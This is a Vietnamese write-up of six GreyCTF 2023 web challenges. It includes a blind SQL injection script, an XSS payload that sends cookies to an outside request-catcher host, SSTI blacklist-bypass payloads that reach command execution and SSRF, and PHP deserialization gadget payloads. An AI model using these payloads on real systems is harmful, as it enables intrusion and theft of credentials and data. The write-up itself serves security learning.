# Write-up GreyCTF2023 ###### tags: `CTF writeup` ## 100 - Questions ### Description ![](https://hackmd.io/_uploads/SJ5Zm2irn.png) ### Enum Chall cho một trang web như thế này ![](https://hackmd.io/_uploads/B1yy7niB3.png) Khi trả lời đúng sẽ trả về `Corect` ![](https://hackmd.io/_uploads/Hk07mhoSh.png) Nhìn vào src code chall cung cấp thì ta biết được trang web sẽ lấy 2 param là `qn_id` và `ans` và thực hiện truy vấn SQL để xem câu trả lời có đúng hay không. ![](https://hackmd.io/_uploads/BJoAmhor2.png) Biến `qn_id` được check khá kỹ trước khi rơi vào câu truy vấn, nhưng biến `ans` thì không. Ta hoàn toàn có thể kiếm soát được câu truy vấn thông qua `ans` ![](https://hackmd.io/_uploads/H1MXsnjB3.png) ### Exploit Tìm số cột đang được truy vấn ![](https://hackmd.io/_uploads/H1fYi3ir3.png) `order by 4` trả về 500 Internal Server, vậy suy ra câu truy vấn đang sử dụng 3 cột Script blind SQLi tìm flag là một trong số 100 câu trả lời. ```python import requests import string URL = 'http://localhost:10512/' position = 1 flag = '' wordlist = string.ascii_letters + string.digits + '''!"$%'()*+,-./:;<=>?@[\\]^_`{|}~''' id = 1 while id<100: for c in wordlist: payload = f'''2' AND (SELECT SUBSTR(Answer, {position}, 1) FROM QNA WHERE ID={id}) = '{c}'-- ''' req = requests.get(f'{URL}?qn_id=1&ans={payload}') if 'Correct!' in req.text: flag += ''.join(c) print(f'Answer of question {id}: {flag}') position += 1 break else: position = 1 id += 1 flag = '' ``` ![](https://hackmd.io/_uploads/B1N9ZajB3.png) > Flag: grey{1_c4N7_533} ## Baby Web ### Description ![](https://hackmd.io/_uploads/r1bWLpsr3.png) ### Enum Trang web cho ta gửi ticket như sau ![](https://hackmd.io/_uploads/HJx78poB3.png) Kết quả khi gửi một message bất kỳ ![](https://hackmd.io/_uploads/SJkU8psrn.png) Param `message` trực tiếp đưa qua template và render không hề được validate ![](https://hackmd.io/_uploads/Skx9UasS2.png) ![](https://hackmd.io/_uploads/H16u86iB3.png) ### Exploit Dễ dàng pop up alert với payload`<img src=x onerror=alert(origin)>` ![](https://hackmd.io/_uploads/BksTIaiHh.png) Payload lấy flag ``` <script>fetch("http://40cti0ar.requestrepo.com/?f="+document.cookie)</script> ``` >Flag: grey{b4by_x55_347cbd01cbc74d13054b20f55ea6a42c} > ## Login Bot ### Description ![](https://hackmd.io/_uploads/ByWsQF2rn.png) ### Enum Chall cho ta một trang web như thế này ![](https://hackmd.io/_uploads/BJMVHYnr2.png) Ta không thể nào đăng nhập được vì không có tài khoản admin ```python @app.route('/login', methods=['GET', 'POST']) def login() -> Response: if request.method == 'GET': return render_template('login.html') username = request.form.get('username', '') password = request.form.get('password', '') if password != FLAG or username != 'admin': flash('Wrong password', 'danger') return redirect(url_for('index')) # If user is admin, set cookie next = request.args.get('next', '/') response = redirect('/') if is_safe_url(next): response = redirect(next) response.set_cookie('cookie', ADMIN_COOKIE) return response ``` Flow hoạt động quan trọng của chương trình mà ta cần quan tâm sẽ như sau. Đầu tiên có một route là `send_post` mà ta có thể truy cập để gửi post ```python @app.route('/send_post', methods=['GET', 'POST']) def send_post() -> Response: """Send a post to the admin""" if request.method == 'GET': return render_template('send_post.html') url = request.form.get('url', '/') title = request.form.get('title', None) content = request.form.get('content', None) if None in (url, title, content): flash('Please fill all fields', 'danger') return redirect(url_for('send_post')) # Bot visit url_value = make_post(url, title, content) flash('Post sent successfully', 'success') flash('Url id: ' + str(url_value), 'info') return redirect('/send_post') ``` `/send_post` sẽ gọi đến hàm `make_post`. Tại hàm `make_post` sẽ login với cred của admin để thực hiện lưu post thông qua route `/post` ```python def make_post(url: str, title: str, user_content: str) -> int: """Make a post to the admin""" with requests.Session() as s: visit_url = f"{BASE_URL}/login?next={url}" resp = s.get(visit_url, timeout=10) content = resp.content.decode('utf-8') # Login routine (If website is buggy we run it again.) for _ in range(2): print('Logging in... at:', resp.url, file=sys.stderr) if "bot_login" in content: # Login routine resp = s.post(resp.url, data={ 'username': 'admin', 'password': FLAG, }) # Make post resp = s.post(f"{resp.url}/post", data={ 'title': title, 'content': user_content, }) return db.session.query(Url).count() ``` Tại `/post` nếu là admin sẽ thực hiện lưu post vào db ```python @app.route('/post', methods=['POST']) def post() -> Response: if not is_admin(): flash('You are not an admin. Please login to continue', 'danger') return redirect(f'/login?next={request.path}') title = request.form['title'] content = request.form['content'] sanitized_content = sanitize_content(content) if title and content: post = Post(title=title, content=sanitized_content) db.session.add(post) db.session.commit() flash('Post created successfully', 'success') return redirect(url_for('index')) flash('Please fill all fields', 'danger') return redirect(url_for('index')) ``` Ta có thể truy cập `/url/<id>` để xem kết quả ```python @app.route('/url/<int:id>') def url(id: int) -> Response: """Redirect to the url in post if its sanitized""" url = Url.query.get_or_404(id) return redirect(url.url) ``` Tuy nhiên ta sẽ thấy route này sẽ redirect ta đến `url.url`. Giá trị `url` sẽ được query trong db. Mà ta có thể kiểm soát được giá trị này thông qua `content` cua send_post thông qua hàm `sanitize_content` ```python def sanitize_content(content: str) -> str: """Sanitize the content of the post""" # Replace URLs with in house url tracker urls = re.findall(URL_REGEX, content) for url in urls: url = url[0] url_obj = Url(url=url) db.session.add(url_obj) content = content.replace(url, f"/url/{url_obj.id}") return content ``` Hàm `sanitize_content` dùng regex để lấy ra chuỗi có dạng url xuất hiện trong `content` và lưu nó vào db Như vậy ta có thể khiến `/url/<id>` redirect đến bất kỳ đâu ta muốn, bây giờ phải làm sao để lấy pass của admin aka flag Ta thấy tại `make_post` thì việc log in as admin được thực hiện 2 lần ```python visit_url = f"{BASE_URL}/login?next={url}" resp = s.get(visit_url, timeout=10) content = resp.content.decode('utf-8') # Login routine (If website is buggy we run it again.) for _ in range(2): print('Logging in... at:', resp.url, file=sys.stderr) if "bot_login" in content: # Login routine resp = s.post(resp.url, data={ 'username': 'admin', 'password': FLAG, }) ``` `resp.url` đầu tiên ta không thể kiểm soát vì nó gọi đến `{BASE_URL}/login?next={url}`, tuy nhiên `{url}` thì hoàn toàn là untrusted data, từ đây ta có thể khiến `resp.url` trong lần lặp thứ 2 là bất kỳ gì ta muốn. Nguyên nhân là do tại `/login?next=`, thì nếu là admin sẽ redirect sang next ```python # If user is admin, set cookie next = request.args.get('next', '/') response = redirect('/') ``` Việc này khiến cho giá trị của `resp.url` trong vòng lặp thứ 2 nằm dưới quyền kiếm soát của mình. ### Exploit Tạo một post với content là url request repo ![](https://hackmd.io/_uploads/SkiiO93Bn.png) Tạo một post khác kèm theo param `url` là đường dẫn đến post đầu tiên ![](https://hackmd.io/_uploads/ryzJt93r2.png) Lúc này debug và quan sát ta sẽ thấy rõ, trong lần đầu tiên ứng dụng sẽ gửi request đến `/login?next=` còn lần thứ 2 sẽ gửi đến request repo của mình ![](https://hackmd.io/_uploads/Byl7Yq2Sh.png) ![](https://hackmd.io/_uploads/SygeVKq2Hh.png) > Flag: grey{r3d1recTs_r3Dir3cts_4nd_4ll_0f_th3_r3d1r3ct5} ## Microservices ### Description ![](https://hackmd.io/_uploads/rkuL5q2Sn.png) ### Enum Đầu tiên chall cho ta trang web như thế này ![](https://hackmd.io/_uploads/ryXEOjnH2.png) Kiểm tra thấy tại trang `home_page` sẽ check user cookie, nếu là admin thì sẽ cho flag ![](https://hackmd.io/_uploads/SkDwOj2r2.png) Flow hoạt động của chương trình sẽ dựa trên `gateway` để tương tác với các service khác Code xử lý chính của `gateway` ```python @app.route("/", methods=["GET"]) def route_traffic() -> Response: """Route the traffic to upstream""" microservice = request.args.get("service", "home_page") route = routes.get(microservice, None) if route is None: return abort(404) # Fetch the required page with arguments appended raw_query_param = request.query_string.decode() print(f"Requesting {route} with q_str {raw_query_param}", file=sys.stderr) res = get(f"{route}/?{raw_query_param}") headers = [ (k, v) for k, v in res.raw.headers.items() if k.lower() not in excluded_headers ] return Response(res.content, res.status_code, headers) ``` Nó sẽ nhận vào param `service` để tương tác với các service, ngoài ra nó còn append thêm các param của request vào sau URL dùng để get đến service Muốn có được cookie admin thì ta nhìn vào `admin_page` ```python from fastapi import FastAPI, Request, Response from dotenv import load_dotenv from requests import get import os load_dotenv() admin_cookie = os.environ.get("ADMIN_COOKIE", "FAKE_COOKIE") app = FastAPI() @app.get("/") async def index(request: Request): """ The base service for admin site """ # Currently Work in Progress requested_service = request.query_params.get("service", None) if requested_service is None: return {"message": "requested service is not found"} # Filter external parties who are not local if requested_service == "admin_page": return {"message": "admin page is currently not a requested service"} # Legit admin on localhost requested_url = request.query_params.get("url", None) if requested_url is None: return {"message": "URL is not found"} # Testing the URL with admin response = get(requested_url, cookies={"cookie": admin_cookie}) return Response(response.content, response.status_code) ``` Nếu ta vượt qua được điều kiện `if requested_service == "admin_page"` thì admin cookie sẽ được gửi đến `url` mà ta truyền vào. ### Exploit Để ý kỹ vào cách lấy param từ GET request của `gateway` và `admin_page` ta thấy, `gateway` dùng `request.args.get` của Flask để lấy param còn `admin_page` thì dùng `request.query_params.get` của FastAPI ![](https://hackmd.io/_uploads/ryYiYs2B2.png) ![](https://hackmd.io/_uploads/H1-ntj3Bh.png) Mà trình tự lấy param của 2 hàm này là hoàn toàn khác nhau, cụ thể Nếu có 2 param cùng nhau thì `request.args.get` sẽ lấy cái đầu tiên ```python @app.route('/') def hello(): service = request.args.get('service') return f'Service, {service}!' ``` ![](https://hackmd.io/_uploads/SJtJ9shB3.png) Còn ở `request.query_params.get` nếu có 2 param giống nhau nó sẽ lấy cái thứ 2 ```python! app = FastAPI() @app.get("/") def get_query_param(request: Request): service = request.query_params.get("service") return {"service": service} ``` ![](https://hackmd.io/_uploads/ry775i2rn.png) Lợi dụng cơ chế này ta dễ dàng bypass được `if requested_service == "admin_page"` Payload: `/?service=admin_page&service=home_page&url=http://home_page` ![](https://hackmd.io/_uploads/ryuIqsnrn.png) > Flag: grey{d0ubl3_ch3ck_y0ur_3ndp0ints_in_m1cr0s3rv1c3s} ## Microservices Revenge ### Description ![](https://hackmd.io/_uploads/Hkun9ihrh.png) ### Enum Chall cho ta trang web sau: ![](https://hackmd.io/_uploads/Syka_I0Bn.png) Hoạt động tương tư chall trước tuy nhiên lần này flag nằm trong `/flag` của service `flag_page` Và service `admin_page` có tý thay đổi ```python! from flask import Flask, Response, render_template_string, request app = Flask(__name__) @app.get("/") def index() -> Response: """ The base service for admin site """ user = request.cookies.get("user", "user") # Currently Work in Progress return render_template_string( f"Sorry {user}, the admin page is currently not open." ) ``` Ta thấy `admin_page` để untrusted data rơi vào `render_template_string` dẫn đến SSTI ![](https://hackmd.io/_uploads/Sy5jKLRH3.png) Tuy nhiên payload của ta phải thỏa được blacklist sau ``` banned_chars = { "\\", "_", "'", "%25", "self", "config", "exec", "class", "eval", "get", } ``` ### Exploit Ta sẽ dùng `|attr(request.args.param)` để bypass ký tự `__` trong blacklist khi gọi các class, ta sẽ truyền tên class vào GET param Payload: ``` GET /?service=adminpage&a=__class__&b=__base__&c=__subclasses__ ... Cookie: cookie="Guest Pleb"; user="{{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()}}" ``` ![](https://hackmd.io/_uploads/BJ1M9URr3.png) Dùng script sau để tìm index của Subprocess ```python! with open('class.txt') as p: check = p.read() for index,value in enumerate(check.split(',')): if "&lt;class &#39;subprocess.Popen&#39;&gt;" in value: print(index) # 343 ``` Payload RCE: ``` GET /?service=adminpage&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=communicate&f=__getitem__ HTTP/1.1 ... Cookie: cookie="Guest Pleb"; user="{{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(343)(\"ls\",shell=True,stdout=-1)|attr(request.args.e)()|attr(request.args.f)(0)}}" ``` ![](https://hackmd.io/_uploads/SkL_cICB2.png) Tuy nhiên không hề có flag trên server, quay lại với cách chương trình hoạt động thì để lấy flag ta phải request đến được `/flag` của `flag_page` Dùng script ở trên ta tìm được index của `http.client.HTTPConnection` là 445 để thực hiện request đến `/flag` Payload ``` GET /?service=adminpage&a=__class__&b=__base__&c=__subclasses__&d=__getitem__ ... Cookie: cookie="Guest Pleb"; user="{% set con = ()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(445)(\"rflagpage\")%}{{con.request("GET","/flag")}}{{con.getresponse().read()}}" ``` > Flag: grey{55t1_bl4ck1ist_byp455_t0_S5rf_538ad457e9a85747631b250e834ac12d} ## View My Albums ### Description ![](https://hackmd.io/_uploads/r1BTqs2Sn.png) ### Enum Chall cho ta một trang web như sau ![](https://hackmd.io/_uploads/Hk_2twCBn.png) Ta để ý web sẽ deserialize ![](https://hackmd.io/_uploads/rJaVcPCrn.png) Flag nằm trong table `flag` của db ![](https://hackmd.io/_uploads/BkfU9vRBh.png) Vậy thì để lấy được flag ta cần tìm cách attrive dữ liệu từ db Có một class giúp ta làm việc đó là `MysqlRecordStore` ```php! class MysqlRecordStore implements RecordStore { private $mysqli; private $table; private $host; private $user; private $pass; private $db; public function __construct($host, $user, $pass, $db, $table) { $this->host = $host; $this->user = $user; $this->pass = $pass; $this->db = $db; $this->mysqli = new mysqli($host, $user, $pass, $db); $this->table = $table; } ... public function getAllRecords() { $stmt = $this->mysqli->prepare("SELECT * FROM {$this->table}"); $stmt->execute(); $rows = $stmt->get_result()->fetch_all(MYSQLI_ASSOC); $records = array(); foreach ($rows as $row) { $record = new Record($row['id']); foreach ($row as $key => $value) { $record->$key = $value; } $records[] = $record; } return $records; } public function __destruct() { $this->mysqli->close(); } public function __wakeup() { $this->mysqli = new mysqli($this->host, $this->user, $this->pass, $this->db); } } ``` Class này được sử dụng trong class `Albums` và class `Albums` sẽ fetch tất cả records nếu như magic methods `__debugInfo()` được gọi ```php! class Albums { private $store; public function __construct($store) { $this->store = $store; } public function getAlbum($id) { return $this->store->getRecord($id); } public function addAlbum($album) { return $this->store->addRecord($album); } public function updateAlbum($id, $album) { return $this->store->updateRecord($id, $album); } public function deleteAlbum($id) { return $this->store->deleteRecord($id); } public function getAllAlbums() { return $this->store->getAllRecords(); } public function __debugInfo() { return $this->getAllAlbums(); } } ``` Trùng hợp thay tại `index.php` ta có thể gọi magic methods `__debugInfo()` của `Albums` thông qua `var_dump` ![](https://hackmd.io/_uploads/HJTBjwCSh.png) Tuy nhiên để tạo được object của class `Albums` hay cụ thể là `MysqlRecordStore` thì ta cần biết được host, user, password và database name. Ta đã biết 3 trong 4 cái, chỉ còn lại password là chưa ![](https://hackmd.io/_uploads/Bkl6oDAS2.png) Việc tiếp theo là tìm cách đọc được password của db, để làm điều đó ta lợi dụng class `CsvRecordStore` ```php class CsvRecordStore implements RecordStore { private $file; public function __construct($file) { $this->file = $file; } ... public function getAllRecords() { $data = array_map('str_getcsv', file($this->file)); $records = array(); foreach ($data as $id => $row) { $record = new Record($id); foreach ($row as $key => $value) { $record->$key = $value; } $records[] = $record; } return $records; } ``` Hàm `getAllRecords` sẽ đọc file `$file` và trả về mảng `$record` mỗi phần tử là 1 `Records` object và chứa một dòng trong file `$file` ### Exploit Payload đọc file `db_creds.php` ```php! $a = new Albums(new CsvRecordStore("db_creds.php")); $seri = urlencode(serialize($a)); echo $seri; ``` Output ``` O%3A6%3A%22Albums%22%3A1%3A%7Bs%3A13%3A%22%00Albums%00store%22%3BO%3A14%3A%22CsvRecordStore%22%3A1%3A%7Bs%3A20%3A%22%00CsvRecordStore%00file%22%3Bs%3A12%3A%22db_creds.php%22%3B%7D%7D ``` ![](https://hackmd.io/_uploads/Byg8RvRHh.png) Password là `j90dsgjdjds09djvupx` Payload đọc flag: ```php $a = new Albums(new MysqlRecordStore("mysql", "user", "j90dsgjdjds09djvupx", "challenge", "flag")); $seri = urlencode(serialize($a)); echo $seri; ``` ``` O%3A6%3A%22Albums%22%3A1%3A%7Bs%3A13%3A%22%00Albums%00store%22%3BO%3A16%3A%22MysqlRecordStore%22%3A6%3A%7Bs%3A24%3A%22%00MysqlRecordStore%00mysqli%22%3BO%3A6%3A%22mysqli%22%3A19%3A%7Bs%3A13%3A%22affected_rows%22%3BN%3Bs%3A11%3A%22client_info%22%3BN%3Bs%3A14%3A%22client_version%22%3BN%3Bs%3A13%3A%22connect_errno%22%3BN%3Bs%3A13%3A%22connect_error%22%3BN%3Bs%3A5%3A%22errno%22%3BN%3Bs%3A5%3A%22error%22%3BN%3Bs%3A10%3A%22error_list%22%3BN%3Bs%3A11%3A%22field_count%22%3BN%3Bs%3A9%3A%22host_info%22%3BN%3Bs%3A4%3A%22info%22%3BN%3Bs%3A9%3A%22insert_id%22%3BN%3Bs%3A11%3A%22server_info%22%3BN%3Bs%3A14%3A%22server_version%22%3BN%3Bs%3A4%3A%22stat%22%3BN%3Bs%3A8%3A%22sqlstate%22%3BN%3Bs%3A16%3A%22protocol_version%22%3BN%3Bs%3A9%3A%22thread_id%22%3BN%3Bs%3A13%3A%22warning_count%22%3BN%3B%7Ds%3A23%3A%22%00MysqlRecordStore%00table%22%3Bs%3A4%3A%22flag%22%3Bs%3A22%3A%22%00MysqlRecordStore%00host%22%3Bs%3A5%3A%22mysql%22%3Bs%3A22%3A%22%00MysqlRecordStore%00user%22%3Bs%3A4%3A%22user%22%3Bs%3A22%3A%22%00MysqlRecordStore%00pass%22%3Bs%3A19%3A%22j90dsgjdjds09djvupx%22%3Bs%3A20%3A%22%00MysqlRecordStore%00db%22%3Bs%3A9%3A%22challenge%22%3B%7D%7D ``` **Note**: phải chạy script tại docker của chall, để thực hiện kết nối tới db server mới có thể tạo object ![](https://hackmd.io/_uploads/SJ18k_CS3.png) > Flag: grey{l4_mu5iCA_DE_haIry_FroG}